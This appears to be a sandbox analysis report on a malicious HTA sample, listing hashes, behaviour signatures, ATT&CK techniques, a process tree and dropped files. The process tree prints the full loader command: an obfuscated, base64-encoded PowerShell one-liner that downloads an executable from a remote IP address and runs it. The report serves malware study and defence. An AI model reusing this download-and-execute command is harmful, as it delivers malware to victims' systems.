c3f1210473d2fec5851fec6b44d8a43063d462a99cb701308ad69c124a163cbf

Analysis

max time kernel
148s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/08/2026, 18:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
melvetrakingsbestformebestthignscomingfrom.hta
Size 13KB
Sample260812-wzag8sec47
SHA256 c3f1210473d2fec5851fec6b44d8a43063d462a99cb701308ad69c124a163cbf
MD5 e26aa00839014bc5aafee69c4ea140c5
SHA1 cbf9f681364e61972cd539915733b9c05a485321
SHA512 f10d62c30a24791f5a9b75082099da0c06f50d3b27f16e82379c0158af21c3b726fdc2ed7fd53a18f607660fb785c4237783454a0d238b9455962c28b8d33421
SSDEEP 48:3jYWhIjIyYWhp0jIP4Suuue8Oouuuuude5uuuu80muuuuuuuDvoYW8iYWJ9V1p5y:TY0ILY0aYNUwY+YuthY0H+
TLSH
T18D52AD7C2B98F9C4A1AB91E892D6710378D5C87FB10C5E16FCAD0527EBE046E0C3859E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	4292	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
7	4292	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4596	ssn.exe
2064	ssn.exe

Loads dropped DLL 2 IoCs

pid	Process
4596	ssn.exe
4596	ssn.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4596	ssn.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4476	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4292	powershell.exe
4292	powershell.exe
4596	ssn.exe
4596	ssn.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4292	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4596	ssn.exe
4596	ssn.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
4596	ssn.exe
4596	ssn.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 4476	4456	mshta.exe	89
PID 4476 wrote to memory of 4292	4476	cmd.exe	91
PID 4292 wrote to memory of 4596	4292	powershell.exe	92
PID 4596 wrote to memory of 2064	4596	ssn.exe	93
PID 4596 wrote to memory of 2064	4596	ssn.exe	93

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\melvetrakingsbestformebestthignscomingfrom.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c POWeRSheLL.EXe -EX byPaSs -nOP -w 1 -EC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAVwBnAEUAVAAgAAkACQAgACAACQAgACAAIAAgACAACQAJAAkACQAgACAACQAJACAAHSBoAHQAdABwADoALwAvADEAMAA3AC4AMQA3ADIALgAyADMAOAAuADEANgAvADgALwBzAHMAbgAuAGUAeABlAB0gIAAgAAkACQAJACAACQAgAC0AbwB1AHQARgBJAGwAZQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAB0gJABlAE4AdgA6AEEAcABwAGQAYQBUAEEAXABzAHMAbgAuAGUAeABlAB0gIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAOwAgACAACQAgAAkACQAJACAAIAAJACAAIAAgACAACQAJAAkAJgAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAB0gJABlAG4AdgA6AEEAcABwAGQAYQB0AGEAXABzAHMAbgAuAGUAeABlAB0g "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POWeRSheLL.EXe -EX byPaSs -nOP -w 1 -EC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAVwBnAEUAVAAgAAkACQAgACAACQAgACAAIAAgACAACQAJAAkACQAgACAACQAJACAAHSBoAHQAdABwADoALwAvADEAMAA3AC4AMQA3ADIALgAyADMAOAAuADEANgAvADgALwBzAHMAbgAuAGUAeABlAB0gIAAgAAkACQAJACAACQAgAC0AbwB1AHQARgBJAGwAZQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAB0gJABlAE4AdgA6AEEAcABwAGQAYQBUAEEAXABzAHMAbgAuAGUAeABlAB0gIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAOwAgACAACQAgAAkACQAJACAAIAAJACAAIAAgACAACQAJAAkAJgAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAB0gJABlAG4AdgA6AEEAcABwAGQAYQB0AGEAXABzAHMAbgAuAGUAeABlAB0g "
    3⤵
    - Badlisted process makes network request
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4292
  - - C:\Users\Admin\AppData\Roaming\ssn.exe
      "C:\Users\Admin\AppData\Roaming\ssn.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:4596
    - - C:\Users\Admin\AppData\Roaming\ssn.exe
        
        "C:\Users\Admin\AppData\Roaming\ssn.exe"
        5⤵
        Executes dropped EXE
        
        PID:2064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Ball.ini

Path C:\Users\Admin\AppData\Local\Temp\Ball.ini
Size 78B
SHA256 e49d00a88285f6469bc20548a144f5669b4d7f003a55c301ccf0c5bd55d53e97
MD5 dc7e6c7830dd0f97dc6d3f8de1223e26
SHA1 f45e396766bb8c99654114c6586d6036a4e74a47
SHA512 bde6bde89bbaa7be3dd71822fa707189a05781423d2e4185683bec5a6eac679bf52bcb3b0828511e1fd5088abc3903d77beb480cf1c89b88596a975cd000c05a
TLSH
T1A2A0025469A11F10E1E7CF6B286995BB67AA500589438E05B8CC1BE483A15A15D073A7
MD5 SHA1 SHA512 TLSH

Submit Download

Ball.ini

Path C:\Users\Admin\AppData\Local\Temp\Ball.ini
Size 78B
SHA256 0f3f0d3e271167c35cdc6cc4aeac09fe98b2ad19e8f58c19e0054c7efe8256cc
MD5 967b540d4a601e345a5df14cced0e4f0
SHA1 96d1650b00849803438deb4e1cd159d3c0ad26fc
SHA512 070960d547e45a8f41d234444c2634caa434c32e91b6ea03c3af76e748401200b2521549921a64272cad611d3284221185bd20b84a10290e8084a8ba36bfe67d
TLSH
T1C3A02202AAE00000C000C3BE08828AB3B20B800BA0CF0002323C0B20C30E832820E883
MD5 SHA1 SHA512 TLSH

Submit Download

System.dll

Path C:\Users\Admin\AppData\Local\Temp\nsv6A99.tmp\System.dll
Size 25KB
SHA256 29379ece432ccb81e22e57d7b5a8a77951c985495a931827f01771cf60b8b438
MD5 9b3a5adad3c54468b976f683ef28aae4
SHA1 e6ce3ed9fa51474ca560c41075be8cd52ae81e46
SHA512 338ac47163f4c74af5c46318abf9d2a86febeeba4966ba2f3bcc5edc95ca373e253b3214fdcf349a13d431852b052d5910947ee9a63797ca4da0ba8333db4929
SSDEEP 384:5Z2pfUx9eVLwDKO9XYD/isN7lCEjgwMU/ktKi+R45Duwomq8pqdDvHG1Q:5r96YIrx7lC7vU/kaG9uLmCdb
TLSH
T1A8B24C07F38398BFC50BC17186EF5772AA32BE211B616F6F1220F5756E24E90871DA14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ssn.exe

Path C:\Users\Admin\AppData\Roaming\ssn.exe
Size 596KB
SHA256 522aab5133fe9e625237fac5f76c5d8bfa813c71fd67fed08e1c9d05d11f759a
MD5 302b19f2e591d372d9313ff3b34fae4c
SHA1 9d22a7f024c9d243e870f6dbee39beac8653130a
SHA512 e1a5261eeb75862c02486d3fd3284a0b71ecf12eb3f4778ee422c9976ee0bb9f4ec9ea50c09924416f10fae3b823c01e474798f0266302e2041b5b3b938d48b8
SSDEEP 12288:lLiZpxyQi06NqfMa01XC3/lwwcgNK6prNp/:lIpxyQi04801XCvl5cgNxprT/
TLSH
T126D40204FBC1A5ECC9768A7449FBC6A741337D989C75A60F6148FB7F3D70A418A3920A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2064-73-0x0000000000080000-0x000000000011E000-memory.dmp

Download

memory/4292-5-0x0000000005310000-0x0000000005332000-memory.dmp

Download

memory/4292-36-0x0000000074650000-0x0000000074E0C000-memory.dmp

Download

memory/4292-7-0x0000000005AC0000-0x0000000005B26000-memory.dmp

Download

memory/4292-10-0x0000000005C50000-0x0000000005FAB000-memory.dmp

Download

memory/4292-11-0x0000000006020000-0x000000000603E000-memory.dmp

Download

memory/4292-12-0x0000000006040000-0x000000000608C000-memory.dmp

Download

memory/4292-13-0x0000000007910000-0x0000000007F8C000-memory.dmp

Download

memory/4292-14-0x0000000006530000-0x000000000654A000-memory.dmp

Download

memory/4292-0-0x0000000074662000-0x0000000074663000-memory.dmp

Download

memory/4292-6-0x0000000005A50000-0x0000000005AB6000-memory.dmp

Download

memory/4292-2-0x0000000074650000-0x0000000074E0C000-memory.dmp

Download

memory/4292-3-0x0000000005390000-0x00000000059DA000-memory.dmp

Download

memory/4292-4-0x0000000074650000-0x0000000074E0C000-memory.dmp

Download

memory/4292-1-0x0000000002830000-0x0000000002866000-memory.dmp

Download

memory/4596-72-0x0000000004000000-0x0000000007A68000-memory.dmp

Download

memory/4596-76-0x00007FF8CC2C0000-0x00007FF8CC2CF000-memory.dmp

Download

memory/4596-75-0x0000000140000000-0x0000000140126000-memory.dmp

Download